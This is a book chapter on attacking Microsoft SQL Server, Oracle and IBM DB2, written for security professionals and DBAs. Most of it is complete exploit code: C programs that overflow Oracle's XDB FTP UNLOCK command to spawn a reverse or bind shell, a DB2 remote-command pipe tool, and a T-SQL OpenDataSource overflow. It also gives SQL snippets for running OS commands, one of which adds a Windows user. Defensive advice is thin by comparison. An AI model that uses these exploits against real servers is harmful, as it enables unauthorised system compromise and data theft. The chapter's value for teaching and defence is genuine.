CHAPTER
24

# Attacking Database Software

When we compare database servers with Web servers, we find that Web servers are amazingly more secure than database servers. This isn't simply a question of more functionality; Web servers hang out there on the Internet and database servers are buried deep behind firewalls in the core of the network. Consumers generally demand that their Web servers be secure and are, bizarrely, more forgiving when it comes to their databases. After reading this chapter, we hope you will share the opinion that database administrators (DBAs) should care a little less about speed and a little more about protecting their vital assets: data. Our vendors will provide us with more secure database server software only when we demand it.

No one vendor is any better than another. That said, in the very recent past we have seen some extremely positive moves made by the larger players in the RDBMS arena with a more proactive stance being taken as far as security is concerned. More needs to be done, but we're finally moving in the right direction. So, stepping down from the soapbox, let's examine the ways in which attackers can currently gain control over database servers; knowledge of how this is done will allow DBAs to design and implement a more holistic defensive strategy.

Database servers store data in a structured manner, using tables to group common or related chunks of data in columns. This data is queried, updated, and deleted using Structured Query Language (SQL). In addition, database vendors add their own blend of extra features, such as extensions to standard

SQL (Transact-SQL, or T-SQL, on Microsoft SQL Server and Procedural Language/SQL, or PL/SQL, on Oracle) functions, and extended stored procedures. The weak points of most database server software lie in these areas. There's an inverse relationship between functionality and security: As software gets more functional, it becomes easier to break.

Attacks against database server software can be leveled at the network layer or the application layer. In the network layer you typically deal with low-level issues, and in the application level you usually deal with SQL. In this chapter, we look at some problems in Microsoft's SQL Server, Oracle's RDBMS, and IBM's DB2.

## Network Layer Attacks

Most attacks at the network level usually involve the exploitation of overflows. In the past, both Oracle and Microsoft's RDBMS software have suffered from vulnerabilities at the network level.

If an overly long username was supplied to the login procedure in Oracle, then a stack-based buffer was overflowed, allowing the attacker to gain full control. This bug was discovered by Mark Litchfield of NGSSoftware and fixed by Oracle in April 2003 (`http://otn.oracle.com/deploy/security/pdf/2003alert51.pdf`).

Microsoft's SQL Server suffered from a stack-based buffer overflow vulnerability whereby the first packet sent by the client, which should contain only the signature `MSSQLServer`, could be used to gain control. It was found by Dave Aitel who named it the Hello bug. This bug was fixed by Microsoft in October 2002 (`http://www.microsoft.com/technet/security/Bulletin/MS02-056.mspx`).

When it comes to exploiting holes at the network level, you can't rely on the client tools for protocol packaging; you need to write this code yourself. Writing this code requires an examination of the protocol on the wire. You will need a network packet capture tool such as NGSSniff, Network Monitor, tcpdump, or Wireshark as well as access to the database server software in question. You have two methods with which to go about designing the exploit for a given network layer issue. You can do a packet dump, cut and paste this dump into your exploit with a few modifications, and fire it off, or, you could write a library for the protocol in question. The advantage of the first method is that it is quick—plug and play. The second takes slightly longer, but once written, it is good for the next network layer issue. You can find documentation for Microsoft's Tabular Data Stream (TDS) protocol, researched by Brian Bruns, at `www.freetds.org/tds.html`.

Many database server software packages allow users to query the data they hold in non-SQL ways. These typically involve other standard protocols such as HTTP and ftp.

Oracle 9, for example, offers the Oracle XML Database (XDB) over HTTP on port 8080 and ftp on 2100. XDB is installed by default, and both the Web and the ftp versions of XDB are vulnerable to overflow. You can overflow a stack-based buffer by supplying an overly long username or password to the Web service. As it happens, on the way to overwriting the saved return address, you also overflow an integer variable that is then passed as the number of bytes to copy for a call to `memcpy()`. Because we can't have a null in the overflow string, the smallest integer we can set is `0x01010101`. This is still too large, however, and the call to `memcpy` access violates or segmentation violates. This seemingly makes it impossible to exploit on platforms such as Linux (*seemingly* because you should never say never; it could be exploitable on Linux—we simply haven't had the time to make it exploitable). However, on Windows, we can overwrite the `EXCEPTION_REGISTRATION` structure on the stack and use this to gain control of the process's path of execution.

The ftp service suffers from a similar problem. An overly long username or password will overflow a stack-based buffer, but we still have the same problem with the Web service equivalent. That said, there are a few more overflows in the ftp XDB service. As well as providing most of the standard ftp commands, Oracle has also introduced some of its own. Two of these, `TEST` and `UNLOCK`, are vulnerable to a stack-based buffer overflow, and both are readily exploitable on any platform. We present two samples that will exploit the overflow on Windows and Linux.

```
Windows XDB overflow exploit
#include <stdio.h>
#include <windows.h>
#include <winsock.h>

int GainControlOfOracle(char *, char *);
int StartWinsock(void);
int SetUpExploit(char *,int);

struct sockaddr_in s_sa;
struct hostent *he;
unsigned int addr;
char host[260]="";


unsigned char exploit[508]=
"\x55\x8B\xEC\xEB\x03\x5B\xEB\x05\xE8\xF8\xFF\xFF\xFF\xBE\xFF\xFF"
"\xFF\xFF\x81\xF6\xDC\xFE\xFF\xFF\x03\xDE\x33\xC0\x50\x50\x50\x50"
"\x50\x50\x50\x50\x50\x50\xFF\xD3\x50\x68\x61\x72\x79\x41\x68\x4C"
"\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\xFF\x75\xFC\xFF\x55\xF4\x89"
```

```
"\x45\xF0\x83\xC3\x63\x83\xC3\x5D\x33\xC9\xB1\x4E\xB2\xFF\x30\x13"
"\x83\xEB\x01\xE2\xF9\x43\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xEC"
"\x83\xC3\x10\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xE8\x83\xC3\x0C"
"\x53\xFF\x55\xF0\x89\x45\xF8\x83\xC3\x0C\x53\x50\xFF\x55\xF4\x89"
"\x45\xE4\x83\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xE0\x83"
"\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xDC\x83\xC3\x08\x89"
"\x5D\xD8\x33\xD2\x66\x83\xC2\x02\x54\x52\xFF\x55\xE4\x33\xC0\x33"
"\xC9\x66\xB9\x04\x01\x50\xE2\xFD\x89\x45\xD4\x89\x45\xD0\xBF\x0A"
"\x01\x01\x26\x89\x7D\xCC\x40\x40\x89\x45\xC8\x66\xB8\xFF\xFF\x66"
"\x35\xFF\xCA\x66\x89\x45\xCA\x6A\x01\x6A\x02\xFF\x55\xE0\x89\x45"
"\xE0\x6A\x10\x8D\x75\xC8\x56\x8B\x5D\xE0\x53\xFF\x55\xDC\x83\xC0"
"\x44\x89\x85\x58\xFF\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45\x84"
"\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98\x8D\xBD\x48\xFF\xFF\xFF\x57"
"\x8D\xBD\x58\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83\xC0\x01\x50"
"\x83\xE8\x01\x50\x50\x8B\x5D\xD8\x53\x50\xFF\x55\xEC\xFF\x55\xE8"
"\x60\x33\xD2\x83\xC2\x30\x64\x8B\x02\x8B\x40\x0C\x8B\x70\x1C\xAD"
"\x8B\x50\x08\x52\x8B\xC2\x8B\xF2\x8B\xDA\x8B\xCA\x03\x52\x3C\x03"
"\x42\x78\x03\x58\x1C\x51\x6A\x1F\x59\x41\x03\x34\x08\x59\x03\x48"
"\x24\x5A\x52\x8B\xFA\x03\x3E\x81\x3F\x47\x65\x74\x50\x74\x08\x83"
"\xC6\x04\x83\xC1\x02\xEB\xEC\x83\xC7\x04\x81\x3F\x72\x6F\x63\x41"
"\x74\x08\x83\xC6\x04\x83\xC1\x02\xEB\xD9\x8B\xFA\x0F\xB7\x01\x03"
"\x3C\x83\x89\x7C\x24\x44\x8B\x3C\x24\x89\x7C\x24\x4C\x5F\x61\xC3"
"\x90\x90\x90\xBC\x8D\x9A\x9E\x8B\x9A\xAF\x8D\x90\x9C\x9A\x8C\x8C"
"\xBE\xFF\xFF\xBA\x87\x96\x8B\xAB\x97\x8D\x9A\x9E\x9B\xFF\xFF\xA8"
"\x8C\xCD\xA0\xCC\xCD\xD1\x9B\x93\x93\xFF\xFF\xA8\xAC\xBE\xAC\x8B"
"\x9E\x8D\x8B\x8A\x8F\xFF\xFF\xA8\xAC\xBE\xAC\x90\x9C\x94\x9A\x8B"
"\xBE\xFF\xFF\x9C\x90\x91\x91\x9A\x9C\x8B\xFF\x9C\x92\x9B\xFF\xFF"
"\xFF\xFF\xFF\xFF";

char exploit_code[8000]=
"UNLOCK / aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkklllmmmmnnn"
"nooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAAAABBBBCCCCD"
"DDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSST"
"TTTUUUUVVVVWWWWXXXXYYYYZZZZabcdefghijklmnopqrstuvwxyzABCDEFGHIJK"
"LMNOPQRSTUVWXYZ0000999988887777666655554444333322221111098765432"
"1aaaabbbbcc";

char exception_handler[8]="\x79\x9B\xf7\x77";
char short_jump[8]="\xEB\x06\x90\x90";


int main(int argc, char *argv[])
{

     if(argc != 6)
     {
          printf("\n\n\tOracle XDB FTP Service UNLOCK Buffer Overflow Exploit");
          printf("\n\t\tfor Blackhat (http://www.blackhat.com)");
          printf("\n\n\tSpawns a reverse shell to specified port");
          printf("\n\n\tUsage:\t%s host userid password ipaddress port",argv[0]);
```

```
            printf("\n\n\tDavid Litchfield\n\t(david@ngssoftware.com)");
            printf("\n\t6th July 2003\n\n\n");
            return 0;
      }

      strncpy(host,argv[1],250);
      if(StartWinsock()==0)
            return printf("Error starting Winsock.\n");

      SetUpExploit(argv[4],atoi(argv[5]));

      strcat(exploit_code,short_jump);
      strcat(exploit_code,exception_handler);
      strcat(exploit_code,exploit);
      strcat(exploit_code,"\r\n");

      GainControlOfOracle(argv[2],argv[3]);

      return 0;

}


int SetUpExploit(char *myip, int myport)
{
      unsigned int ip=0;
      unsigned short prt=0;
      char *ipt="";
      char *prtt="";

      ip = inet_addr(myip);

      ipt = (char*)&ip;
      exploit[191]=ipt[0];
      exploit[192]=ipt[1];
      exploit[193]=ipt[2];
      exploit[194]=ipt[3];

      // set the TCP port to connect on
      // netcat should be listening on this port
      // e.g. nc -l -p 80

      prt = htons((unsigned short)myport);
      prt = prt ^ 0xFFFF;
      prtt = (char *) &prt;
      exploit[209]=prtt[0];
      exploit[210]=prtt[1];

      return 0;
}
```

```
int StartWinsock()
{
     int err=0;
     WORD wVersionRequested;
     WSADATA wsaData;

     wVersionRequested = MAKEWORD( 2, 0 );
     err = WSAStartup( wVersionRequested, &wsaData );
     if ( err != 0 )
          return 0;
     if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0
)
       {
          WSACleanup( );
          return 0;
     }

     if (isalpha(host[0]))
     {
          he = gethostbyname(host);
          s_sa.sin_addr.s_addr=INADDR_ANY;
          s_sa.sin_family=AF_INET;
          memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
       }
     else
     {
          addr = inet_addr(host);
          s_sa.sin_addr.s_addr=INADDR_ANY;
          s_sa.sin_family=AF_INET;
          memcpy(&s_sa.sin_addr,&addr,4);
          he = (struct hostent *)1;
     }

     if (he == NULL)
       {
          return 0;
       }
     return 1;
}



int GainControlOfOracle(char *user, char *pass)
{

     char usercmd[260]="user ";
     char passcmd[260]="pass ";
     char resp[1600]="";
     int snd=0,rcv=0;
     struct sockaddr_in r_addr;
     SOCKET sock;
```

```
     strncat(usercmd,user,230);
     strcat(usercmd,"\r\n");
     strncat(passcmd,pass,230);
     strcat(passcmd,"\r\n");


     sock=socket(AF_INET,SOCK_STREAM,0);
     if (sock==INVALID_SOCKET)
         return printf(" sock error");

     r_addr.sin_family=AF_INET;
     r_addr.sin_addr.s_addr=INADDR_ANY;
     r_addr.sin_port=htons((unsigned short)0);
     s_sa.sin_port=htons((unsigned short)2100);


     if (connect(sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
          return printf("Connect error");

     rcv = recv(sock,resp,1500,0);
     printf("%s",resp);
     ZeroMemory(resp,1600);

    snd=send(sock, usercmd , strlen(usercmd) , 0);
     rcv = recv(sock,resp,1500,0);
     printf("%s",resp);
     ZeroMemory(resp,1600);

    snd=send(sock, passcmd , strlen(passcmd) , 0);
     rcv = recv(sock,resp,1500,0);
     printf("%s",resp);
     if(resp[0]=='5')
     {
          closesocket(sock);
          return printf("Failed to log in using user %s and password
%s.\n",user,pass);
     }
     ZeroMemory(resp,1600);

     snd=send(sock, exploit_code, strlen(exploit_code) , 0);

     Sleep(2000);

     closesocket(sock);
     return 0;
}


Linux XDB Overflow

#include <stdio.h>
#include <sys/types.h>
```

```
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>


int main(int argc, char *argv[])
{

     struct hostent *he;
     struct sockaddr_in sa;
     int sock;
     unsigned int addr = 0;
     char recvbuffer[512]="";
     char user[260]="user ";
     char passwd[260]="pass ";
     int rcv=0;
     int snd =0;
     int count = 0;

     unsigned char nop_sled[1804]="";

     unsigned char saved_return_address[]="\x41\xc8\xff\xbf";

     unsigned char exploit[2100]="unlock / AAAABBBBCCCCDDDDEE"
       "EEFFFFGGGGHHHHIIIIJJJJKKKK"
       "LLLLMMMMNNNNOOOOPPPPQQQ"
       "QRRRRSSSSTTTTUUUUVVVVWWW"
                           "WXXXXYYYYZZZZaaaabbbbccccdd";

     unsigned char
code[]="\x31\xdb\x53\x43\x53\x43\x53\x4b\x6a\x66\x58\x54\x59\xcd"

"\x80\x50\x4b\x53\x53\x53\x66\x68\x41\x41\x43\x43\x66\x53"

"\x54\x59\x6a\x10\x51\x50\x54\x59\x6a\x66\x58\xcd\x80\x58"

"\x6a\x05\x50\x54\x59\x6a\x66\x58\x43\x43\xcd\x80\x58\x83"

"\xec\x10\x54\x5a\x54\x52\x50\x54\x59\x6a\x66\x58\x43\xcd"

"\x80\x50\x31\xc9\x5b\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58"
     "\xcd\x80\x41\x6a\x3f\x58\xcd\x80\x6a\x0b\x58\x99\x52\x68"
     "\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x54\x5b\x52\x53\x54"
                    "\x59\xcd\x80\r\n";


     if(argc !=4)
     {
```

```
          printf("\n\n\tOracle XDB FTP Service UNLOCK Buffer Overflow Exploit");
          printf("\n\t\tfor Blackhat (http://www.blackhat.com)");
          printf("\n\n\tSpawns a shell listening on TCP Port 16705");
          printf("\n\n\tUsage:\t%s host userid password",argv[0]);
          printf("\n\n\tDavid Litchfield\n\t(david@ngssoftware.com)");
printf("\n\t7th July 2003\n\n\n");
          return 0;
     }

     while(count < 1800)
     {
          nop_sled[count++]=0x90;
     }

     // Build the exploit
     strcat(exploit,saved_return_address);
     strcat(exploit,nop_sled);
     strcat(exploit,code);

     // Process arguments
     strncat(user,argv[2],240);
     strncat(passwd,argv[3],240);
     strcat(user,"\r\n");
     strcat(passwd,"\r\n");


     // Setup socket stuff
     sa.sin_addr.s_addr=INADDR_ANY;
     sa.sin_family = AF_INET;
     sa.sin_port = htons((unsigned short) 2100);

     // Resolve the target system
     if(isalpha(argv[1][0])==0)
     {
          addr = inet_addr(argv[1]);
          memcpy(&sa.sin_addr,&addr,4);
     }
     else
     {
          he = gethostbyname(argv[1]);
          if(he == NULL)
               return printf("Couldn't resolve host %s\n",argv[1]);
          memcpy(&sa.sin_addr,he->h_addr,he->h_length);
     }

     sock = socket(AF_INET,SOCK_STREAM,0);
     if(sock < 0)
          return printf("socket() failed.\n");
```

```
        if(connect(sock,(struct sockaddr *) &sa,sizeof(sa)) < 0)
        {
             close(sock);
             return printf("connect() failed.\n");
        }

        printf("\nConnected to %s....\n",argv[1]);

        // Receive and print banner
        rcv = recv(sock,recvbuffer,508,0);
        if(rcv > 0)
        {
             printf("%s\n",recvbuffer);
             bzero(recvbuffer,rcv+1);
        }
        else
        {
             close(sock);
             return printf("Problem with recv()\n");
        }

        // send user command
        snd = send(sock,user,strlen(user),0);
        if(snd != strlen(user))
        {     close(sock);
             return printf("Problem with send()....\n");
        }
        else
        {
             printf("%s",user);
        }

        // Receive response. Response code should be 331
        rcv = recv(sock,recvbuffer,508,0);
        if(rcv > 0)
        {

             if(recvbuffer[0]==0x33  && recvbuffer[1]==0x33 &&
recvbuffer[2]==0x31)
             {
                  printf("%s\n",recvbuffer);
                  bzero(recvbuffer,rcv+1);
             }
             else
             {
                  close(sock);
                  return printf("FTP response code was not 331.\n");
             }

        }
```

```
     else
     {
          close(sock);
          return printf("Problem with recv()\n");
     }


     // Send pass command
     snd = send(sock,passwd,strlen(passwd),0);
     if(snd != strlen(user))
     {
          close(sock);
          return printf("Problem with send()....\n");
     }
     else
          printf("%s",passwd);

     // Receive response. If not 230 login has failed.
     rcv = recv(sock,recvbuffer,508,0);
     if(rcv > 0)
     {
          if(recvbuffer[0]==0x32  && recvbuffer[1]==0x33 &&
recvbuffer[2]==0x30)
          {
               printf("%s\n",recvbuffer);
               bzero(recvbuffer,rcv+1);
          }
          else
          {
               close(sock);
               return printf("FTP response code was not 230. Login
failed...\n");
          }
     }
     else
     {
          close(sock);
          return printf("Problem with recv()\n");
     }

     // Send the UNLOCK command with exploit
     snd = send(sock,exploit,strlen(exploit),0);
     if(snd != strlen(exploit))
     {
          close(sock);
          return printf("Problem with send()....\n");
     }
```

```
        // Should receive a 550 error response.
        rcv = recv(sock,recvbuffer,508,0);
        if(rcv > 0)
             printf("%s\n",recvbuffer);

        printf("\n\nExploit code sent....\n\nNow telnet to %s
16705\n\n",argv[1]);
        close(sock);
        return 0;

}
```

Whereas Oracle offers database services over HTTP and ftp, DB2 offers a JDBC Applet Server on TCP port 6789. This Applet Server exists so that Web clients can download and execute a Java Applet through their browser that can query the database server. The Java Applet is downloaded from the Web server and connects to the Applet Server to pass queries to the database server. The obvious risk involved is that queries originate from the client. Just because a query may be hardcoded into the applet means nothing—attackers could simply send their own queries. The JDBC Applet Server then forwards the request to the database server and the results are passed back. Needless to say, this functionality seems extremely dangerous and should be used with caution.

Microsoft, of course, had problems with the Slammer exploit in 2003. Slammer was a stack-based buffer overflow that resulted from sending a UDP packet to port 1434 with a first byte of `0x04` followed by an overly long string. There has been quite a bit written about this exploit; you can easily find information about it on the Internet and elsewhere in this volume.

## Application Layer Attacks

There are two categories of attack at the application level. The first involves simply exploiting exposed functionality in order to run operating system commands, and the second involves the exploitation of buffer overflow issues within the functionality. Either way, the exploit is written in SQL (or T-SQL or PL/SQL) and can be launched from a standard SQL client tool. Due to the fact that SQL and extensions to SQL are equivalent to a programming language, you can hide the attack by coding it in any number of ways. This technique makes it extremely difficult for the target program to defend itself against or even notice attacks if examination takes place only at the application layer. In my experience, Intrusion Detection Systems (IDSs) and even Intrusion Prevention Systems (IPSs) miserably fail to notice anything untoward taking place. As a simple example, consider this: Before the actual attack is launched, the exploit, which could be encoded, is inserted into a table. Then a second

query is made, perhaps weeks later, that selects the exploit into a variable and then `exec`s it.

```
Query 1:

INSERT INTO TABLE1 (foo) VALUES ('EXPLOIT')

Query 2:

DECLARE @bar varchar(500)
SELECT @bar = foo FROM TABLE1
EXEC (@bar)
```

You might say that this could be recognized as an attack by the dynamic `exec`. Certainly it could, but if this kind of query is not outside the bounds of normal use, then this attack could not be differentiated from a normal query. By far, the best approach to securing database servers is not to rely on IPS/IDS but to spend time seriously locking down the server.

## Running Operating System Commands

With the right permissions (and very often without them) most RDBMSs will allow a user to run operating-system commands. Why would anyone want to allow this? There are of course many reasons (Microsoft SQL Server security updates often need this functionality, as discussed next), but in our opinion, leaving this kind of functionality intact is far too dangerous. The way in which you will run operating system commands via RDBMS software varies greatly depending on which vendor you use.

### Microsoft SQL Server

Even if you don't know much about Microsoft's SQL Server, you will probably have heard of the extended stored procedure `xp_cmdshell`. Normally, only those with sysadmin privileges can run `xp_cmdshell`, but over the past few years, several vulnerabilities have come to light that allow low-privileged users to use it. `xp_cmdshell` takes one parameter—the command to execute. This command typically executes using the security context of the account running SQL Server, which is more often than not the `LOCAL SYSTEM` account. In certain cases, a proxy account can be set up, and the command will execute in the security context of this account.

```
exec master..xp_cmdshell ('dir > c:\foo.txt')
```

Although leaving `xp_cmdshell` in place has often led to the compromise of an SQL Server, `xp_cmdshell` is used by many of the security updates. A good recommendation would be to remove this extended stored procedure and move `xplog70.dll` out of the `binn` directory. When you need to apply a security update, move `xplog70.dll` back into the `binn` directory and re-add `xp_cmdshell`.

## Oracle

There are two methods of running operating system commands through Oracle, although no direct method exists out of the box—only the framework that allows command execution is there. One method uses a PL/SQL stored procedure. PL/SQL can be extended to allow a procedure to call out to functions exported by operating system libraries. Because of this, an attacker can have Oracle load the C runtime library (`msvcrt.dll` or libc) and execute the `system()` C function. This function runs a command, as follows:

```
CREATE OR REPLACE LIBRARY exec_shell
     AS 'C:\winnt\system32\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
exec oracmd.exec ('net user ngssoftware password!! /add');
```

To create such a procedure, the user account must have the `CREATE/ALTER (ANY) LIBRARY` permission.

In more recent versions of Oracle, libraries that can be loaded are restricted to the `${ORACLE_HOME}\bin` directory. However, by using a double-dot attack, you can break out of this directory and load any library.

```
CREATE OR REPLACE LIBRARY exec_shell
     AS '..\..\..\..\..\..\winnt\system32\msvcrt.dll';
```

Needless to say, if we are running this attack on a Unix-based system, we'll need to change the library name to the path of libc.

As a side note, in some versions of Oracle it is possible to trick the software into running OS commands without even touching the main RDBMS services. When Oracle loads a library, it connects to the TNS Listener and the Listener executes a small host program called `extproc` to do the actual library loading and function calling. By communicating directly with the TNS Listener, it is possible to trick it into executing `extproc`. Thus, an attacker without a user ID or password can gain control over an Oracle server. This flaw has been patched.

## IBM DB2

IBM's DB2 is similar to Oracle and has some similar security issues. You can create a procedure to run operating system commands, much as you can in Oracle, but by default, it seems that any user can do it. When DB2 is first installed, `PUBLIC` is by default assigned the `IMPLICIT_SCHEMA` authority, and this authority allows the user to create a new schema. This schema is owned by `SYSIBM`, but `PUBLIC` is given the rights to create objects within it. As such, a low-privileged user can create a new schema and create a procedure in it.

```
CREATE PROCEDURE rootdb2 (IN cmd varchar(200))
EXTERNAL NAME 'c:\winnt\system32\msvcrt!system'
LANGUAGE C
DETERMINISTIC
PARAMETER STYLE DB2SQL
call rootdb2 ('dir > c:\db2.txt')
```

To prevent low-privileged users from running this attack, ensure that the `IMPLICIT_SCHEMA` authority is removed from `PUBLIC`.

DB2 offers another mechanism for running operating system commands that does not use SQL. To ease the administrative burden, there is a facility called the DB2 Remote Command Server that allows, as the name describes, the remote execution of commands. On Windows platforms this server, `db2rcmd.exe`, holds open a named pipe called `DB2REMOTECMD`, which remote clients can open, send commands through, and have the results returned to them. Before the command is sent, a handshake is performed in the first write with the command sent in the second write. On receipt of these two writes, a separate process, `db2rcmdc.exe`, is spawned, which is then responsible for executing the command. The server is started and runs in the security context of the `db2admin` account, which is assigned administrator privileges by default. When `db2rcmdc` and the eventual command are executed, the permissions are not dropped. To connect to the `DB2REMOTECMD` pipe, a client needs a user ID and password, but providing that they have this, even a low-privileged user can run commands with administrator rights. Needless to say, this presents a security risk. In the worst-case scenario, IBM should modify the code of the Remote

Command Server to at least call `ImpersonateNamedPipeClient` first before executing the command. Doing so would mean that the command would execute with the privileges of the requesting user and those of an administrator. The best-case scenario would be to secure the named pipe and allow only those with administrator privileges to use this service. This code will execute a command on a remote server and return the results:

```
#include <stdio.h>
#include <windows.h>

int main(int argc, char *argv[])
{
 char buffer[540]="";
 char NamedPipe[260]="\\\\";
 HANDLE rcmd=NULL;
 char *ptr = NULL;
 int len =0;
 DWORD Bytes = 0;

 if(argc !=3)
 {
  printf("\n\tDB2 Remote Command Exploit.\n\n");
  printf("\tUsage: db2rmtcmd target \"command\"\n");
  printf("\n\tDavid Litchfield\n\t(david@ngssoftware.com)\n\t6th
September 2003\n");
  return 0;
      }

 strncat(NamedPipe,argv[1],200);
 strcat(NamedPipe,"\\pipe\\DB2REMOTECMD");

 // Setup handshake message
 ZeroMemory(buffer,540);
 buffer[0]=0x01;
 ptr = &buffer[4];
 strcpy(ptr,"DB2");
 len = strlen(argv[2]);
 buffer[532]=(char)len;

 // Open the named pipe
 rcmd = CreateFile(NamedPipe,GENERIC_WRITE|GENERIC_READ,0,
NULL,OPEN_EXISTING,0,NULL);

 if(rcmd == INVALID_HANDLE_VALUE)
  return printf("Failed to open pipe %s. Error
%d.\n",NamedPipe,GetLastError());

 // Send handshake
 len = WriteFile(rcmd,buffer,536,&Bytes,NULL);
```

```
 if(!len)
  return printf("Failed to write to %s. Error
%d.\n",NamedPipe,GetLastError());

 ZeroMemory(buffer,540);
 strncpy(buffer,argv[2],254);

 // Send command
 len = WriteFile(rcmd,buffer,strlen(buffer),&Bytes,NULL);
 if(!len)
  return printf("Failed to write to %s. Error
%d.\n",NamedPipe,GetLastError());

 // Read results
 while(len)
 {
  len = ReadFile(rcmd,buffer,530,&Bytes,NULL);
  printf("%s",buffer);
  ZeroMemory(buffer,540);
      }

 return 0;
}
```

Allowing the execution of commands remotely is somewhat risky, and this service should be disabled where possible.

We've listed several ways in which you can execute operating systems commands via RDBMS software. Other methods of course exist. We encourage you to carefully examine your software to find its weaknesses, and take steps to prevent it being compromised.

# Exploiting Overruns at the SQL Level

Exploiting holes at the SQL level is easier than it is at lower levels. That's not to say, however, that exploiting holes at lower levels is difficult—it's only slightly more so. The reason the SQL level is less difficult is that we can rely on client tools such a Microsoft's Query Analyzer and Oracle's SQL*Plus to wrap our exploit using the correct higher-level protocols such as TDS and TNS. We would then code our exploit in the SQL extension of choice.

## SQL Functions

Most overflow vulnerabilities that occur in the SQL level exist within functions or extended stored procedures. Such vulnerabilities are rarely found within the actual SQL parser. This is logical, however. The SQL parser needs to be

robust and must deal with an almost infinite number of variations on queries; the code must be bug free. Functions and extended stored procedures, on the other hand, generally are designed to perform one or two specific actions; the code behind this functionality is less scrutinized.

Most executable code typically found in an exploit is not simple printable ASCII; because of this, we need a method to get printable ASCII across the wire from a SQL client tool. Although this sounds like a difficult proposition at first, it's not. As we have already indicated, the way in which you can exploit overruns in the SQL layer is unlimited—extensions to SQL provide a rich programming environment, and exploits can be written in any conceivable manner. Let's look at a few examples.

### Using the CHR/CHAR Function

Most SQL environments have a `CHR` or `CHAR` function, which takes a number and converts it into a character. Using the `CHR` function we can build executable code. For example, if we wanted code that executed a `call eax` function, the bytes of this is instruction are `0xFF` and `0xD0`. Our Microsoft SQL would be:

```
DECLARE @foo varchar(20)
SELECT @foo = CHAR(255) + CHAR(208)
```

Oracle uses the `CHR()` function.

We don't even always need the `CHR/CHAR` function. We can simply plug in the bytes directly using hex:

```
SELECT @foo = 0xFFD0
```

Using such methods we can see that we have no problem getting our binary code across. As a working example, consider the following T-SQL code, which exploits a stack-based buffer overrun in Microsoft's SQL Server 2000:

```
-- Simple Proof of Concept
-- Exploits a buffer overrun in OpenDataSource()
--
-- Demonstrates how to exploit a UNICODE overflow using T-SQL
-- Calls CreateFile() creating a file called c:\SQL-ODSJET-BO
-- I'm overwriting the saved return address with 0x42B0C9DC
-- This is in sqlsort.dll and is consistent between SQL 2000 SP1 and SP2
-- The address holds a jmp esp instruction.
--
-- To protect against this overflow download the latest Jet Service
-- pack from Microsoft - http://www.microsoft.com/
--
-- David Litchfield (david@ngssoftware.com)
-- 19th June 2002
```

```
declare @exploit nvarchar(4000)
declare @padding nvarchar(2000)
declare @saved_return_address nvarchar(20)
declare @code nvarchar(1000)
declare @pad nvarchar(16)
declare @cnt int
declare @more_pad nvarchar(100)

select @cnt = 0
select @padding = 0x41414141
select @pad = 0x4141

while @cnt < 1063
begin
          select @padding = @padding + @pad
          select @cnt = @cnt + 1
end

-- overwrite the saved return address

select @saved_return_address = 0xDCC9B042
select @more_pad = 0x434343434444444445454545646464647474747

-- code to call CreateFile(). The address is hardcoded to 0x77E86F87 - Win2K Sp2
-- change if running a different service pack

select @code =
0x558BEC33C05068542D424F6844534A4568514C2D4F68433A5C538D142450504050485050B0C
05052B8876FE877FFD0CCCCCCCCCC
select @exploit = N'SELECT * FROM OpenDataSource(
''Microsoft.Jet.OLEDB.4.0'',''Data Source="c:\'
select @exploit = @exploit + @padding + @saved_return_address + @more_pad + @code
select @exploit = @exploit + N'';User ID=Admin;Password=;Extended
properties=Excel 5.0'')...xactions'
exec (@exploit)
```

# Conclusion

We hope this chapter has shown you the ropes of how to approach an attack against RDBMS software. The approach is similar to that taken with most other pieces of software—with one big difference. Hacking database servers could be compared to hacking a compiler—there is so much flexibility and enough programming space that it almost becomes easy. DBAs need to be aware of this weakness in database servers and lock down their servers appropriately. Hopefully the Slammer worm will be one of the last, if not *the* last, worm able to take over database server software with such ease.